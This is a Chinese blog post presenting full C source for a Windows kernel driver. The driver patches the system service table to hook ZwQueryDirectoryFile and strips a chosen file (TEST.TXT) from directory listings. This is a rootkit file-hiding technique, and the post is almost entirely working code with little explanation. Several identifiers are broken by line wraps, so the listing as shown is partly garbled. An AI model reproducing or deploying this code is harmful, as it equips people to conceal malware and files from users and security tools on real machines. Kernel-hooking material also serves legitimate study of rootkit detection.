一个文件隐藏驱动的例子,非minifilter.

/*********************************************************

查找目录/文件操作系统最终调用native api ZwQueryDirectoryFile,

因此拦截此函数可以达到隐藏文件/目录的目的。

*********************************************************/

/*********************************************************

参考

<隐藏任意进程,目录/文件,注册表,端口> sinister whitecell

<再谈Windows NT_2000内部数据结构>       webcrazy

regmon source code                      www.sysinternals.com

*********************************************************/

/*********************************************************

这仅仅是一个简单的例子,

lode 这个驱动前可以在任意目录下建立一个TEST.TXT,

load该驱动后该文件被隐藏

*********************************************************/

 

 

 

 

#include "ntddk.h"

#include "stdarg.h"

#include "stdio.h"

 

//----------------------------------------------------------------------

//                           DEFINES

//----------------------------------------------------------------------

#if DBG

#define DbgPrint(arg) DbgPrint arg

#else

#define DbgPrint(arg)

#endif

 

//

//32768-65535 are reserved for use  by customers

//

 

 

#define FILE_DEVICE_HIDE      0x00008305

//

//available only on x86 now

//

 

 

#define SYSCALL(_function)  ServiceTable->ServiceTable[ *(PULONG)((PUCHAR)_fun

ction+1)]

 

typedef unsigned long       DWORD;

typedef unsigned short      WORD;

typedef int                           BOOL;

//

//structure unopen, parameter into ZwQueryDirectoryFile routine.

//God bless me it will not be changed.ms is shit...

//

typedef struct _FILETIME

{

    DWORD dwLowDateTime;

    DWORD dwHighDateTime;

} FILETIME;

typedef struct _DirEntry

{

    DWORD dwLenToNext;

    DWORD dwAttr;

    FILETIME ftCreate, ftLastAccess, ftLastWrite;

    DWORD dwUnknown[ 2 ];

    DWORD dwFileSizeLow;

    DWORD dwFileSizeHigh;

    DWORD dwUnknown2[ 3 ];

    WORD wNameLen;

    WORD wUnknown;

    DWORD dwUnknown3;

    WORD wShortNameLen;

    WCHAR swShortName[ 12 ];

    WCHAR suName[ 1 ];

} DirEntry, *PDirEntry;

 

//

// Definition for system call service table

//

typedef struct _SRVTABLE {

        PVOID           *ServiceTable;

        ULONG           LowCall;

        ULONG           HiCall;

        PVOID           *ArgTable;

} SRVTABLE, *PSRVTABLE;

 

 

NTSTATUS (*RealZwQueryDirectoryFile)(

    IN HANDLE hFile,

    IN HANDLE hEvent OPTIONAL,

    IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,

    IN PVOID IoApcContext OPTIONAL,

    OUT PIO_STATUS_BLOCK pIoStatusBlock,

    OUT PVOID FileInformationBuffer,

    IN ULONG FileInformationBufferLength,

    IN FILE_INFORMATION_CLASS FileInfoClass,

    IN BOOLEAN bReturnOnlyOneEntry,

    IN PUNICODE_STRING PathMask OPTIONAL,

    IN BOOLEAN bRestartQuery);

//----------------------------------------------------------------------

//                         GLOBALS

//----------------------------------------------------------------------

//

// Pointer to system global service table

//

PSRVTABLE               ServiceTable;

extern PSRVTABLE KeServiceDescriptorTable;

PDEVICE_OBJECT          ControlDeviceObject;

 

//----------------------------------------------------------------------

//                         FORWARD DEFINES

//----------------------------------------------------------------------

NTSTATUS FilehideDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp );

VOID     FilehideUnload( IN PDRIVER_OBJECT DriverObject );

NTSYSAPI

NTSTATUS

NTAPI ZwQueryDirectoryFile(

    IN HANDLE  FileHandle,

    IN HANDLE  Event  OPTIONAL,

    IN PIO_APC_ROUTINE  ApcRoutine  OPTIONAL,

    IN PVOID  ApcContext  OPTIONAL,

    OUT PIO_STATUS_BLOCK  IoStatusBlock,

    OUT PVOID  FileInformation,

    IN ULONG  Length,

    IN FILE_INFORMATION_CLASS  FileInformationClass,

    IN BOOLEAN  ReturnSingleEntry,

    IN PUNICODE_STRING  FileName  OPTIONAL,

    IN BOOLEAN  RestartScan

    );

 

//======================================================================

//                    H O O K  R O U T I N E S

//======================================================================

 

//----------------------------------------------------------------------

//

// HookZwQueryDirectoryFile

//

//----------------------------------------------------------------------

NTSTATUS HookZwQueryDirectoryFile(

    IN HANDLE hFile,

    IN HANDLE hEvent OPTIONAL,

    IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,

    IN PVOID IoApcContext OPTIONAL,

    OUT PIO_STATUS_BLOCK pIoStatusBlock,

    OUT PVOID FileInformationBuffer,

    IN ULONG FileInformationBufferLength,

    IN FILE_INFORMATION_CLASS FileInfoClass,

    IN BOOLEAN bReturnOnlyOneEntry,

    IN PUNICODE_STRING PathMask OPTIONAL,

    IN BOOLEAN bRestartQuery)

{

    NTSTATUS             rc;

    CHAR                 aProcessName[80];

    ANSI_STRING          ansiFileName,ansiDirName;

    UNICODE_STRING       uniFileName;

    WCHAR                ParentDirectory[1024] = {0};

    int                  BytesReturned;

    PVOID                Object;

        CHAR            aFilehide[] = "TEST.TXT";

    //

    rc = (RealZwQueryDirectoryFile)(

            hFile,

            hEvent,

            IoApcRoutine,

            IoApcContext,

            pIoStatusBlock,

            FileInformationBuffer,

            FileInformationBufferLength,

            FileInfoClass,

            bReturnOnlyOneEntry,

            PathMask,

            bRestartQuery);

    if(NT_SUCCESS(rc))

    {

        PDirEntry p;

        PDirEntry pLast;

        BOOL bLastOne;

        int found;

        p = (PDirEntry)FileInformationBuffer;

        pLast = NULL;

        do

        {

            bLastOne = !( p->dwLenToNext );

            RtlInitUnicodeString(&uniFileName,p->suName);

            RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);

            RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);

            RtlUpperString(&ansiFileName,&ansiDirName);

            found=0;

            DbgPrint(("Filehide: RealZwQueryDirectoryFile %s\n",

ansiFileName.Buffer));

            if( RtlCompareMemory( ansiFileName.Buffer, aFilehide,strlen(aFileh

ide) ) == strlen(aFilehide))

            {

                found=1;

            }

 

 

            if(found)

            {

                if(bLastOne)

                {

                    if(p == (PDirEntry)FileInformationBuffer )

                    {

                         rc = 0x80000006;    //hide

                    }

                    else

                        pLast->dwLenToNext = 0;

                    break;

                }

                else

                {

                    int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;

                    int iLeft = (DWORD)FileInformationBufferLength - iPos

-p->dwLenToNext;

                    RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p +

p->dwLenToNext ), (DWORD)iLeft );

                    continue;

                }

            }

            pLast = p;

            p = (PDirEntry)((char *)p + p->dwLenToNext );

        }while( !bLastOne );

        RtlFreeAnsiString(&ansiDirName);

        RtlFreeAnsiString(&ansiFileName);

    }

    return(rc);

}

 

//----------------------------------------------------------------------

//

// Hook System Call

//

// Replaces entries in the system service table with pointers to

// our own hook routines. We save off the real routine addresses.

//

//----------------------------------------------------------------------

VOID HookSystemCall( void )

{

 

        //

        // Hook everything

        //

 

        RealZwQueryDirectoryFile = SYSCALL( ZwQueryDirectoryFile );

        SYSCALL( ZwQueryDirectoryFile ) = (PVOID) HookZwQueryDirectoryFile;

 

}

 

 

//----------------------------------------------------------------------

//

// Unhook System Call

//

//----------------------------------------------------------------------

VOID UnhookSystemCall( )

{

 

        //

        // Unhook everything

        //

    SYSCALL( ZwQueryDirectoryFile ) = (PVOID) RealZwQueryDirectoryFile;

 

}

 

 

 

//----------------------------------------------------------------------

//

// FilehideDispatch

//

//----------------------------------------------------------------------

NTSTATUS FilehideDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )

{

    PIO_STACK_LOCATION      irpStack;

 

    //

    // Go ahead and set the request up as successful

    //

    Irp->IoStatus.Status      = STATUS_SUCCESS;

    Irp->IoStatus.Information = 0;

 

    //

    // Get a pointer to the current location in the Irp. This is where

    //     the function codes and parameters are located.

    //

    irpStack = IoGetCurrentIrpStackLocation (Irp);

 

 

 

    switch (irpStack->MajorFunction) {

    case IRP_MJ_CREATE:

 

        DbgPrint(("Filehide: IRP_MJ_CREATE\n"));

 

        break;

 

    case IRP_MJ_SHUTDOWN:

 

        DbgPrint(("Filehide: IRP_MJ_CREATE\n"));

        break;

 

    case IRP_MJ_CLOSE:

 

        DbgPrint(("Filehide: IRP_MJ_CLOSE\n"));

        break;

 

    case IRP_MJ_DEVICE_CONTROL:

 

        DbgPrint (("Filehide: IRP_MJ_DEVICE_CONTROL\n"));

 

        break;

    }

    IoCompleteRequest( Irp, IO_NO_INCREMENT );

    return STATUS_SUCCESS;

}

 

 

 

//----------------------------------------------------------------------

//

// RegmonUnload

//

// Our job is done - time to leave.

//

//----------------------------------------------------------------------

VOID FilehideUnload( IN PDRIVER_OBJECT DriverObject )

{

    WCHAR                   deviceLinkBuffer[]  = L"\\DosDevices\\Filehide";

    UNICODE_STRING          deviceLinkUnicodeString;

 

    DbgPrint(("Filehide.SYS: unloading\n"));

 

    //

    // Unhook the system call

    //

    UnhookSystemCall();

 

    //

    // Delete the symbolic link for our device

    //

    RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer );

    IoDeleteSymbolicLink( &deviceLinkUnicodeString );

 

    //

    // Delete the device object

    //

    IoDeleteDevice( DriverObject->DeviceObject );

 

    DbgPrint(("Filehide.SYS: deleted devices\n"));

 

}

 

 

 

//----------------------------------------------------------------------

//

// DriverEntry

//

// Installable driver initialization. Here we just set ourselves up.

//

//----------------------------------------------------------------------

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING

RegistryPath )

{

    NTSTATUS                ntStatus;

    WCHAR                   deviceNameBuffer[]  = L"\\Device\\Filehide";

    UNICODE_STRING          deviceNameUnicodeString;

    WCHAR                   deviceLinkBuffer[]  = L"\\DosDevices\\Filehide";

    UNICODE_STRING          deviceLinkUnicodeString;

 

 

    DbgPrint (("Filehide.SYS: entering DriverEntry\n"));

 

 

    //

    // Setup our name and symbolic link

    //

    RtlInitUnicodeString (&deviceNameUnicodeString,

                          deviceNameBuffer );

    RtlInitUnicodeString (&deviceLinkUnicodeString,

                          deviceLinkBuffer );

 

    ntStatus = IoCreateDevice ( DriverObject,

                                0,

                                &deviceNameUnicodeString,

                                FILE_DEVICE_HIDE,

                                0,

                                TRUE,

                                &ControlDeviceObject );

    if (NT_SUCCESS(ntStatus)) {

 

        //

        // Create a symbolic link that the GUI can specify to gain access

        // to this driver/device

        //

        ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString,

                                         &deviceNameUnicodeString );

 

        //

        // Create dispatch points for all routines that must be handled

        //

        DriverObject->MajorFunction[IRP_MJ_SHUTDOWN]        =

        DriverObject->MajorFunction[IRP_MJ_CREATE]          =

        DriverObject->MajorFunction[IRP_MJ_CLOSE]           =

        DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]  =

FilehideDispatch;

#if DBG

        DriverObject->DriverUnload                          = FilehideUnload;

#endif

    }

    if (!NT_SUCCESS(ntStatus)) {

 

        DbgPrint(("Filehide: Failed to create our device!\n"));

 

        //

        // Something went wrong, so clean up (free resources etc)

        //

        if( ControlDeviceObject ) IoDeleteDevice( ControlDeviceObject );

        IoDeleteSymbolicLink( &deviceLinkUnicodeString );

        return ntStatus;

    }

 

    //

    // Pointer to system table data structure is an NTOSKRNL export

    //

    ServiceTable = KeServiceDescriptorTable;

    DbgPrint(("Filehide: Servicetable: %x\n", ServiceTable ));

        HookSystemCall();

        DbgPrint(("Filehide: Hook System Call"));

    return STATUS_SUCCESS;

}



发表评论

您的电子邮箱地址不会被公开。

+ 74 = 83